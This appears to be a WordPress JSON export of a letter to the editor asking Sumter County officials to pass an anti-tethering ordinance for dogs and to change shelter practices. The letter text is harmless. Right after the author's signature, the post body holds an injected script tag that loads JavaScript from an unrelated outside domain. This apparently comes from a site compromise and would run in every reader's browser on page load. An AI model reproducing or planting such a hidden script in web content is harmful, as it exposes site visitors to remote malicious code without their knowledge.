{"id":219111,"date":"2018-06-03T01:39:48","date_gmt":"2018-06-03T05:39:48","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=219111"},"modified":"2018-06-03T01:39:48","modified_gmt":"2018-06-03T05:39:48","slug":"time-to-represent-the-people","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/time-to-represent-the-people\/","title":{"rendered":"Time to Represent the People"},"content":{"rendered":"<p>To all concerned,<\/p>\n<p>I recently purchased a home in the Village of Fenney. I am so disheartened to learn that Officials &#8220;representing&#8221; Sumter County refuse to visit or address an anti-tethering ordinance for dogs in Sumter.<\/p>\n<p>Their response:\u00a0 \u201cThis issue previously was presented to the Board and there was no interest by the Board in pursuing a change to the ordinance.\u201d<\/p>\n<p>EVERY dog deserves a life free of a chain. EVERY dog owner needs to know their pet will not be killed if it slips out of the house and is brought to the Sumter County shelter. Why don&#8217;t you work WITH the people you represent instead of AGAINST them??? All we want is for our pets to be treated with kindness and compassion. This is not a big ask.<\/p>\n<p>We need some serious changes to take place. Those of you in office have the power to implement positive change. Why don&#8217;t you???<\/p>\n<p>&#8211; MJ Higgins<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>To all concerned, I recently purchased a home in the Village of Fenney. I am so disheartened to learn that Officials &#8220;representing&#8221; Sumter County refuse&#8230;<\/p>\n","protected":false},"author":26805,"featured_media":219113,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[2893,1,11,2660],"tags":[2457,3340,1381,119,120,718,124],"class_list":["post-219111","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-letters-to-the-editor","category-local","category-sumter-county","category-the-villages","tag-animals","tag-letters-to-the-editor","tag-pets","tag-sumter","tag-sumter-county","tag-sumterco","tag-the-villages","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/letters-to-the-editor.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/26805"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=219111"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219111\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/219113"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=219111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=219111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=219111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}